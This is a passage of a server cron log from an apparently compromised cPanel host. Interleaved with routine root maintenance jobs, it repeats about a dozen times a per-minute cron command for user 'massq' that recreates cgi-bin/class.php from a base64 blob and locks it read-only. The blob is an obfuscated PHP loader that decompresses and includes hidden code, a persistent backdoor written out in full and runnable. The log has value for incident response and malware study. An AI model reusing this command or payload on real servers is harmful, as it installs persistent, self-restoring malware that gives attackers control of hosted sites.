&quot;$fp&quot;)
Nov 10 03:06:01 server CROND[4481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:07:01 server CROND[5257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:08:01 server CROND[6152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:09:01 server CROND[6967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 03:09:01 server CROND[6968]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:10:01 server CROND[7781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:10:01 server CROND[7783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:10:01 server CROND[7782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 03:10:01 server CROND[7784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:11:01 server CROND[8709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:12:01 server CROND[9626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 03:12:01 server CROND[9628]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:13:01 server CROND[10538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:14:01 server CROND[11417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:15:01 server CROND[12233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:15:01 server CROND[12234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:15:01 server CROND[12237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:16:01 server CROND[12950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:17:01 server CROND[13762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:18:01 server CROND[14508]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
